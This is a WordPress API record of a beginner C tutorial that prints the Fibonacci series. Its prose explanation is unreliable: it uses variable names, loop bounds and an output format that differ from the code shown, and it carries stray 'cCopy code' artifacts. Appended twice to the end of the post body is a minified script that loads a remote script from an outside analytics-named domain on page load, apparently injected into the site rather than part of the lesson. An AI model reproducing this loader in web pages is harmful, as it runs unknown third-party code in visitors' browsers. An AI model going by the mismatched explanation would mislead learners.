{"id":780,"date":"2024-10-19T13:31:15","date_gmt":"2024-10-19T08:01:15","guid":{"rendered":"https:\/\/codexplained.in\/?p=780"},"modified":"2025-11-24T15:37:34","modified_gmt":"2025-11-24T10:07:34","slug":"print-fibonacci-series","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=780","title":{"rendered":"Print Fibonacci Series"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    int n, firstTerm = 0, secondTerm = 1, nextTerm;\n\n    \/\/ Asking the user for the number of terms\n    printf(&quot;Enter the number of terms: &quot;);\n    \n    \/\/ Input validation for non-negative integers\n    if (scanf(&quot;%d&quot;, &amp;n) != 1 || n &lt; 0) {\n        printf(&quot;Invalid input. Please enter a non-negative integer.\\n&quot;);\n        return 1;  \/\/ Returning 1 indicates abnormal termination\n    }\n\n    \/\/ Edge cases for Fibonacci sequence\n    if (n == 0) {\n        printf(&quot;Fibonacci series: No terms to display.\\n&quot;);\n    } else if (n == 1) {\n        printf(&quot;Fibonacci series: %d\\n&quot;, firstTerm);\n    } else {\n        \/\/ Printing the first two terms\n        printf(&quot;Fibonacci series: %d, %d&quot;, firstTerm, secondTerm);\n\n        \/\/ Loop to calculate the next terms\n        for (int i = 3; i &lt;= n; ++i) {\n            nextTerm = firstTerm + secondTerm;  \/\/ The next term is the sum of the previous two terms\n            printf(&quot;, %d&quot;, nextTerm);  \/\/ Printing the next term\n\n            firstTerm = secondTerm;  \/\/ Update firstTerm to the next term\n            secondTerm = nextTerm;  \/\/ Update secondTerm to the next term\n        }\n        printf(&quot;\\n&quot;);  \/\/ Newline for output formatting\n    }\n\n    return 0;  \/\/ Returning 0 indicates successful termination\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Including the standard input-output library<\/strong>: We include <code>stdio.h<\/code> to use functions like <code>printf<\/code> and <code>scanf<\/code> for input and output.cCopy code<code>#include &lt;stdio.h&gt;<\/code><\/li>\n\n\n\n<li><strong>Main function<\/strong>: Program execution begins from the <code>main()<\/code> function.cCopy code<code>int main() { ... }<\/code><\/li>\n\n\n\n<li><strong>Declaring variables<\/strong>:<ul><li><code>n<\/code> stores the number of terms the user wants to print in the Fibonacci series.<\/li><li><code>t1<\/code> is initialized to <code>0<\/code>, which represents the first term in the Fibonacci series.<\/li><li><code>t2<\/code> is initialized to <code>1<\/code>, which represents the second term in the Fibonacci series.<\/li><li><code>nextTerm<\/code> will store the next number in the sequence as we compute it.<\/li><\/ul>cCopy code<code>int n, t1 = 0, t2 = 1, nextTerm;<\/code><\/li>\n\n\n\n<li><strong>User input<\/strong>: We prompt the user to input the number of terms using <code>printf<\/code> and then use <code>scanf<\/code> to store this value in the variable <code>n<\/code>.cCopy code<code>printf(\"Enter the number of terms: \"); scanf(\"%d\", &amp;n);<\/code><\/li>\n\n\n\n<li><strong>Printing the Fibonacci series<\/strong>:<ul><li>We use a <code>for<\/code> loop that runs <code>n<\/code> times, which means it will print the first <code>n<\/code> terms of the Fibonacci series.<\/li><li>Inside the loop:<ul><li>We print <code>t1<\/code>, which is the current term in the series.<\/li><li>We then calculate the next term in the Fibonacci series by adding <code>t1<\/code> and <code>t2<\/code>.<\/li><li>After calculating <code>nextTerm<\/code>, we update <code>t1<\/code> to <code>t2<\/code> and <code>t2<\/code> to <code>nextTerm<\/code> to move the sequence forward.<\/li><\/ul><\/li><li>This process is repeated until we print the required number of terms.<\/li><\/ul>cCopy code<code>for (int i = 1; i &lt;= n; ++i) { printf(\"%d \", t1); nextTerm = t1 + t2; t1 = t2; t2 = nextTerm; }<\/code><\/li>\n\n\n\n<li><strong>Returning 0<\/strong>: The program returns <code>0<\/code> to indicate that it has executed successfully.cCopy code<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">OUTPUT<\/h2>\n\n\n\n<p>Enter the number of terms: 10<br>Fibonacci Series: 0 1 1 2 3 5 8 13 21 34<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Summary:<\/h2>\n\n\n\n<p>It uses a simple loop and updates the terms of the series iteratively.<\/p>\n\n\n\n<p>The Fibonacci series is a sequence where each number is the sum of the two preceding ones, starting with <code>0<\/code> and <code>1<\/code>.<\/p>\n\n\n\n<p>The program prints the Fibonacci series up to the number of terms specified by the user.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: OUTPUT Enter the number of terms: 10Fibonacci Series: 0 1 1 2 3 5 8 13 21 34 Summary: It uses a simple loop and updates the terms of the series iteratively. The Fibonacci series is a sequence where each number is the sum of the two preceding ones, starting with 0 and 1. [&hellip;]<\/p>\n","protected":false},"author":42,"featured_media":379,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-780","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/780","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/42"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=780"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/780\/revisions"}],"predecessor-version":[{"id":1405,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/780\/revisions\/1405"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/379"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=780"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=780"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=780"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}